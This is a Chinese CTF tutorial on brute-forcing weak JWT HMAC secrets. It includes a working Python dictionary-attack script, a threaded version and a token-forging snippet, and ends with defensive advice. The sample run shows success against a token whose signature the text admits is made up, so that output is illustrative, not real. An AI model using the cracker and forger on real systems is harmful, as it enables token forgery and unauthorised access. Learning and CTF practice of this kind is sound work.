JWT弱密钥爆破实战:Python脚本实现与CTF安全攻防 1. 项目概述当JWT遇上弱密钥在CTF的Web安全赛题里JWTJSON Web Token是个常客。它本身是个好东西设计用来在各方之间安全地传输信息但实现上稍有不慎就成了出题人的“心头好”。很多新手甚至是一些有经验的选手一看到JWT那串由点分隔的三部分Header.Payload.Signature就有点发怵尤其是最后那个签名部分。其实很多CTF题目的考点并不在于让你去逆向一个复杂的加密算法而恰恰在于“人”的疏忽——使用了弱密钥。所谓弱密钥就像是把家里的防盗门换成了一把“000”或者“123456”这种人人都能试出来的密码锁。在JWT的语境下弱密钥通常指那些过于简单、容易被暴力猜解Brute Force或字典攻击Dictionary Attack猜中的密钥Secret。HMAC SHA256算法本身是安全的但如果你用的密钥是“secret”、“password”、“123456”这种那安全大厦就从地基开始崩塌了。这个项目要做的就是教你如何用Python写一个脚本在短短几分钟内自动化地对一个已知的JWT Token进行弱密钥爆破。这不仅是CTF解题的利器更能让你深刻理解“安全在于细节”这个道理。无论你是刚接触CTF的新手还是想巩固Web安全知识的老兵这个实战案例都能让你有所收获。我们将从JWT的基本结构讲起一步步拆解爆破的原理最后给你一个可以直接“抄作业”的完整脚本。2. JWT结构快速回顾与弱密钥风险点在动手之前我们必须先搞清楚我们要攻击的目标是什么。一个标准的JWT看起来像这样eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c它由三部分组成用点.分隔Header头部经过Base64Url编码通常声明令牌类型typ: JWT和签名算法alg: HS256。Payload载荷同样经过Base64Url编码包含声明claims比如用户ID、过期时间等。Signature签名对前两部分Header和Payload的编码串用指定的算法和密钥进行签名用于验证消息在传输过程中未被篡改。对于使用HMAC SHA256HS256算法的JWT签名的生成公式是HMACSHA256(base64UrlEncode(header) “.” base64UrlEncode(payload), secret)风险点就在这里验证方服务器需要用同一个密钥来重新计算签名并与收到的签名比对。如果密钥secret强度不够攻击者就可以尝试大量可能的密钥重新计算签名直到找到一个能生成匹配签名的密钥。一旦找到攻击者就等同于拥有了签发合法Token的能力可以伪造任意身份比如把自己变成admin。在CTF题目中你拿到的往往是一个现成的JWT Token题目可能暗示或明示密钥很弱。你的任务就是把它找出来。注意本技术仅用于CTF竞赛、授权测试及学习目的严禁用于未授权的系统测试。在实际生产环境中必须使用强随机密钥并妥善保管。3. 爆破脚本的核心设计思路写一个爆破脚本听起来好像就是弄个循环不断尝试。但要想写得高效、健壮里面有不少门道。我们的核心思路可以分解为以下几个步骤输入与解析脚本需要能接收一个待破解的JWT Token。我们需要从中分离出Header、Payload和Signature。通常我们只需要Header和Payload即点号前两部分用于重新计算签名并与第三部分原Signature进行比对。密钥字典准备爆破的本质是“猜”。我们需要一个猜测的列表也就是密钥字典。这个字典的质量直接决定了爆破的成功率和速度。字典可以包含常见弱密码如secret,password,123456,admin等。题目可能相关的词汇如比赛名、题目名、flag,key等。使用专门的密码字典文件如著名的rockyou.txt在Kali Linux等渗透测试系统中常见。签名验证逻辑对于字典中的每一个候选密钥用JWT库如PyJWT或手动实现HMAC SHA256算法使用该密钥对已知的Header和Payload重新生成签名。比对与输出将新生成的签名与原始Token中的签名进行比对。如果一致则宣告爆破成功输出该密钥。性能与优雅处理需要考虑爆破的速度以及如何优雅地处理中断如CtrlC和进度提示。为什么选择Python因为它拥有丰富的库如pyjwt、hmac、hashlib语法简洁非常适合快速编写原型和自动化脚本。我们的脚本将主要依赖pyjwt库来简化签名验证过程因为它已经完美封装了JWT的编解码和验证逻辑。4. 环境准备与依赖安装工欲善其事必先利其器。我们首先需要一个Python环境。推荐使用Python 3.6及以上版本。1. 创建项目目录并初始化虚拟环境推荐为了避免污染全局的Python环境使用虚拟环境是个好习惯。mkdir jwt_cracker cd jwt_cracker python3 -m venv venv # 创建虚拟环境 # 激活虚拟环境 # 在Linux/macOS上 source venv/bin/activate # 在Windows上 venv\Scripts\activate激活后你的命令行提示符前通常会显示(venv)。2. 安装核心依赖我们主要需要pyjwt库来处理JWT。pip install pyjwt如果还需要用到其他辅助功能比如颜色输出可以安装termcolorpip install termcolor3. 准备密钥字典文件在项目目录下创建一个名为wordlist.txt的文本文件里面每行放一个待尝试的密钥。你可以从简单的开始secret Secret SECRET password Password PASSWORD 123456 admin key test ctf flag对于真实的CTF题目你可能需要更庞大、更针对性的字典。rockyou.txt是一个包含数百万常见密码的巨型字典你可以在Kali Linux系统中的/usr/share/wordlists/目录下找到它也可以从合法的安全研究资源网站下载。请确保你获取和使用此类字典的行为符合法律法规和道德规范。5. 完整脚本实现与逐行解析下面是一个功能完整、带有进度提示和错误处理的Python爆破脚本。我们将它保存为jwt_cracker.py。#!/usr/bin/env python3 JWT弱密钥爆破脚本 作者你的名字 描述用于CTF或授权安全测试通过字典攻击破解HS256算法的JWT弱密钥。 import sys import argparse from pathlib import Path import jwt # 需要PyJWT库 import time from termcolor import colored # 可选用于彩色输出 def crack_jwt(token, wordlist_path): 核心爆破函数 :param token: 待破解的JWT字符串 :param wordlist_path: 密钥字典文件路径 # 1. 基本校验 if not token: print(colored([错误] 未提供JWT Token。, red)) return False # 2. 解析JWT获取头部和载荷不验证签名 try: # 这里decode的verify参数为False表示我们不验证签名只是解析出头部和载荷 header jwt.get_unverified_header(token) payload jwt.decode(token, options{verify_signature: False}) # 提取原始的签名部分第三段 parts token.split(.) if len(parts) ! 3: raise jwt.InvalidTokenError(Token格式错误必须包含三部分。) original_signature parts[2] except jwt.InvalidTokenError as e: print(colored(f[错误] JWT Token无效或格式错误: {e}, red)) return False except Exception as e: print(colored(f[错误] 解析JWT时发生未知错误: {e}, red)) return False print(f[信息] JWT算法: {header.get(alg, 未知)}) print(f[信息] 开始加载字典文件...) # 3. 加载字典 try: wordlist Path(wordlist_path) if not wordlist.is_file(): print(colored(f[错误] 字典文件不存在: {wordlist_path}, red)) return False # 读取所有行去除两端空白字符 secrets [line.strip() for line in wordlist.open(r, encodingutf-8, errorsignore)] total len(secrets) if total 0: print(colored([错误] 字典文件为空。, red)) return False print(f[信息] 已加载 {total} 个候选密钥。) except Exception as e: print(colored(f[错误] 读取字典文件失败: {e}, red)) return False # 4. 开始爆破 print(colored([开始] 爆破进行中..., yellow)) start_time time.time() tried 0 for secret in secrets: tried 1 # 进度提示每尝试1000个或每1%提示一次 if tried % 1000 0 or tried total: progress (tried / total) * 100 elapsed time.time() - start_time print(f[进度] 已尝试 {tried}/{total} ({progress:.1f}%) | 耗时: {elapsed:.1f}s, end\r) try: # 核心验证使用当前候选密钥重新编码验证Token # 如果密钥正确decode不会抛出异常 jwt.decode(token, secret, algorithms[header[alg]]) # 如果执行到这里说明密钥正确 end_time time.time() print() # 换行 print(colored(f[成功] 密钥找到, green)) print(colored(f 密钥: \{secret}\, green, attrs[bold])) print(colored(f 尝试次数: {tried}, green)) print(colored(f 总耗时: {end_time - start_time:.2f} 秒, green)) # 可选用找到的密钥重新生成一个Token看看 print(colored(f[调试] 使用该密钥验证的Payload: {payload}, cyan)) return True except jwt.InvalidSignatureError: # 签名无效继续尝试下一个 continue except jwt.ExpiredSignatureError: # 签名有效但Token已过期这通常也意味着密钥正确 # 在CTF中过期Token也可能被接受或者题目就是考察这个点 end_time time.time() print() print(colored(f[成功] 密钥可能正确但Token已过期, yellow)) print(colored(f 候选密钥: \{secret}\, yellow, attrs[bold])) print(colored(f 尝试次数: {tried}, yellow)) print(colored(f 总耗时: {end_time - start_time:.2f} 秒, yellow)) print(colored(f[提示] 请手动验证此密钥并使用它伪造一个未过期的Token。, yellow)) return True # 或根据情况返回True/False except Exception as e: # 其他异常如算法不支持等 print(colored(f[警告] 尝试密钥 {secret} 时遇到意外错误: {e}, magenta)) continue # 5. 字典遍历完毕未找到 end_time time.time() print() # 换行 print(colored(f[失败] 字典遍历完毕未找到匹配的密钥。, red)) print(colored(f 总尝试次数: {tried}, red)) print(colored(f 总耗时: {end_time - start_time:.2f} 秒, red)) return False def main(): parser argparse.ArgumentParser(descriptionJWT弱密钥爆破工具) parser.add_argument(token, help待破解的JWT Token) parser.add_argument(-w, --wordlist, defaultwordlist.txt, help密钥字典文件路径 (默认: wordlist.txt)) args parser.parse_args() print(colored( JWT Weak Secret Cracker , blue, attrs[bold])) success crack_jwt(args.token, args.wordlist) if not success: sys.exit(1) # 非零退出码表示失败 else: sys.exit(0) if __name__ __main__: main()脚本核心逻辑逐行解析参数解析使用argparse库让脚本可以通过命令行接收JWT Token和字典文件路径提升易用性。安全解析jwt.get_unverified_header和jwt.decode(..., verifyFalse)是关键。它们允许我们在不验证签名的情况下获取到JWT的头部信息和载荷内容这是我们进行爆破的基础材料。签名提取我们将原始的Token用点分割直接取出第三部分作为原始签名用于后续比对虽然脚本中是通过jwt.decode验证但理解这个原始签名有助于理解原理。字典读取使用pathlib.Path以更现代的方式处理文件路径并考虑了文件编码问题errorsignore。爆破循环这是脚本的心脏。遍历字典中的每一个密钥。进度提示每1000次或每1%更新一次进度并显示已耗时让用户心中有数避免长时间无响应导致的焦虑。核心验证jwt.decode(token, secret, algorithms[header[alg]])。这行代码尝试用当前的候选密钥secret去验证整个Token。如果验证通过签名有效decode函数会正常返回Payload如果密钥错误则会抛出jwt.InvalidSignatureError异常。我们正是通过捕获这个异常来判断密钥错误。过期处理一个重要的细节是jwt.ExpiredSignatureError。如果密钥正确但Token本身已经过期验证也会失败并抛出此异常。在CTF中这很可能就是正确答案因为题目可能故意给一个过期的Token考察你是否能发现密钥正确但Token过期这一情况。我们的脚本特别处理了这个异常将其视为“可能成功”的标志并提示用户。结果输出使用termcolor库让成功和失败信息更加醒目。成功时不仅输出密钥还输出尝试次数和总耗时方便性能评估。6. 实战演练手把手破解示例假设我们在一个CTF题目中拿到了以下JWT Token这是一个使用弱密钥secret签发的示例TokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODAwMDAwMDB9.4q5zCzL-3z6V6n4q5zCzL-3z6V6n4q5zCzL-3z6V6n注意最后签名部分是乱写的仅作格式示例我们按照以下步骤操作步骤1准备字典在wordlist.txt文件中写入我们猜测的一些密钥admin password 123456 secret key supersecret ctf2023步骤2运行脚本在命令行中进入脚本所在目录并确保虚拟环境已激活。python jwt_cracker.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODAwMDAwMDB9.4q5zCzL-3z6V6n4q5zCzL-3z6V6n4q5zCzL-3z6V6n -w wordlist.txt步骤3观察输出脚本会开始运行输出类似以下内容 JWT Weak Secret Cracker [信息] JWT算法: HS256 [信息] 开始加载字典文件... [信息] 已加载 7 个候选密钥。 [开始] 爆破进行中... [进度] 已尝试 4/7 (57.1%) | 耗时: 0.0s [成功] 密钥找到 密钥: secret 尝试次数: 4 总耗时: 0.01 秒 [调试] 使用该密钥验证的Payload: {user: admin, role: admin, iat: 1680000000}看脚本在尝试到第4个密钥secret时成功爆破。我们拿到了密钥secret并且从Payload中可以看到这是一个user和role都为admin的管理员令牌。步骤4利用成果现在我们可以用这个密钥来伪造我们自己的JWT了。例如我们可以写一个简单的Python脚本import jwt secret secret # 伪造一个Payload比如把用户改成另一个管理员或者延长过期时间 forged_payload { user: super_admin, role: super_admin, iat: 1680000000 } # 生成新的Token new_token jwt.encode(forged_payload, secret, algorithmHS256) print(f伪造的Token: {new_token})将这个新Token替换到浏览器的Cookie或请求头中很可能就能以super_admin的身份访问题目中的受限功能了。7. 性能优化与高级技巧基础的脚本已经能用但在面对大型字典或追求极致速度时我们可以进行一些优化。1. 多线程/多进程爆破如果字典有几十上百万条单线程跑起来会很慢。我们可以使用Python的concurrent.futures模块来并行处理。from concurrent.futures import ThreadPoolExecutor, as_completed def try_secret(secret, token, header): 单个密钥的尝试函数供线程池调用 try: jwt.decode(token, secret, algorithms[header[alg]]) return secret, True # 返回密钥和成功状态 except jwt.InvalidSignatureError: return secret, False except jwt.ExpiredSignatureError: return secret, expired # 特殊状态 except Exception: return secret, False # 在主函数中替换循环部分 with ThreadPoolExecutor(max_workers10) as executor: # 10个线程 future_to_secret {executor.submit(try_secret, s, token, header): s for s in secrets} for future in as_completed(future_to_secret): secret future_to_secret[future] try: result, status future.result() if status is True or status expired: # 找到密钥立即关闭执行器并返回 executor.shutdown(waitFalse, cancel_futuresTrue) print(f[成功] 找到密钥: {result}) return True except Exception as exc: print(f密钥 {secret} 生成异常: {exc})注意多线程/进程会大幅提升速度但也会增加CPU负载和代码复杂度。jwt.decode操作是CPU密集型的使用多进程ProcessPoolExecutor在CPU核心多的情况下可能比多线程更有优势因为Python有GIL限制。但进程间通信开销更大需要根据实际情况测试。2. 字典优化与针对性生成大小写变换很多弱密钥只是大小写不同。可以在加载字典后自动为每个单词生成其全小写、全大写、首字母大写等形式。常见模式拼接针对CTF可以生成如ctf{word},flag{word},{word}2023,{word}_key等组合。使用专业工具像hashcat或John the Ripper这样的专业密码破解工具针对JWT有专门的攻击模式hashcat -m 16500它们利用GPU加速速度远超我们的Python脚本。我们的脚本更适合于学习原理、快速验证思路或在小字典场景下使用。3. 处理其他算法我们的脚本默认处理HS256HMAC SHA256。但JWT还支持HS384、HS512等。脚本通过header[alg]动态指定算法因此理论上支持所有HMAC SHA系列的算法。如果遇到RS256非对称加密等算法爆破思路完全不同需要获取公钥或寻找其他漏洞本脚本不适用。8. 常见问题排查与避坑指南在实际操作中你可能会遇到以下问题1. 脚本报错ModuleNotFoundError: No module named jwt原因没有安装pyjwt库或者在错误的Python环境中运行。解决确保已激活虚拟环境并执行pip install pyjwt。2. 脚本报错InvalidTokenError: Not enough segments原因提供的字符串不是有效的JWT格式不是由两个点分隔的三部分。解决检查你复制的Token是否完整前后是否有多余的空格或引号。3. 爆破速度非常慢原因字典文件过大如上百万行且是单线程运行。解决首先尝试缩小字典范围使用更精准的字典。实现上面提到的多线程/多进程版本。对于超大型字典考虑换用hashcat等专业工具。4. 密钥明明在字典里但脚本没找到原因1Token已过期且脚本没有正确处理ExpiredSignatureError。我们上面的脚本已经处理了但如果你用的是简化版可能漏了。原因2密钥包含不可见字符。比如字典文件是从Windows创建有\r\n换行符而Linux是\n。使用line.strip()可以去除空白字符但如果是其他特殊字符可能需要检查字典文件编码和内容。原因3JWT使用的不是HMAC算法如HS256而是RS256等非对称算法。这时需要检查JWT Header中的alg字段。解决在脚本中加入更详细的调试信息比如打印出正在尝试的每一个密钥对于小字典或者捕获所有异常并打印。5. 找到了密钥但伪造的Token仍然被拒绝原因1服务器可能不仅验证签名还验证了其他声明如exp过期时间、iat签发时间或自定义声明。你伪造的Token可能过期时间不对。原因2服务器可能使用了密钥轮换或者这个密钥只是用于签名某个特定部分的Token。原因3题目可能有别的陷阱比如需要修改Header中的某个字段如kid参数进行攻击。解决仔细分析原始Token的Payload确保你伪造的Token包含了所有必需的、有效的声明。使用jwt.decode解码原始Token时查看所有字段。6. 如何判断一个JWT是否可爆破查看Header如果alg是HS256、HS384或HS512则理论上存在爆破可能。题目提示CTF题目描述中如果出现“弱密钥”、“简单密码”、“secret”等字眼基本就是暗示。经验在CTF中如果JWT是解题的唯一入口且没有其他明显漏洞如SQL注入、SSTI尝试弱密钥爆破是一个高优先级的思路。9. 防御措施与安全启示通过这个攻击实验我们应该更清楚地知道如何防御使用强密钥绝对禁止使用secret、password、123456或任何字典中的单词作为JWT密钥。应该使用密码学安全的随机数生成器生成足够长如32字节以上的随机字符串。密钥管理将密钥存储在安全的地方如环境变量、密钥管理服务KMS或加密的配置文件中而不是硬编码在代码里。使用非对称加密RS256等在微服务等场景中使用RS256私钥签名公钥验证可以避免在多个服务间共享密钥公钥可以公开分发私钥严格保密安全性更高。设置合理的Token过期时间尽量缩短JWT的有效期减少Token泄露后的风险窗口。验证所有声明服务器端在验证签名后还必须严格验证exp、iat、iss签发者、aud受众等声明确保Token的上下文有效。这个5分钟的爆破实验与其说是一个攻击工具不如说是一面镜子它照出了开发中因懈怠而引入的安全隐患。在CTF中破解它是为了在真实开发中避免它。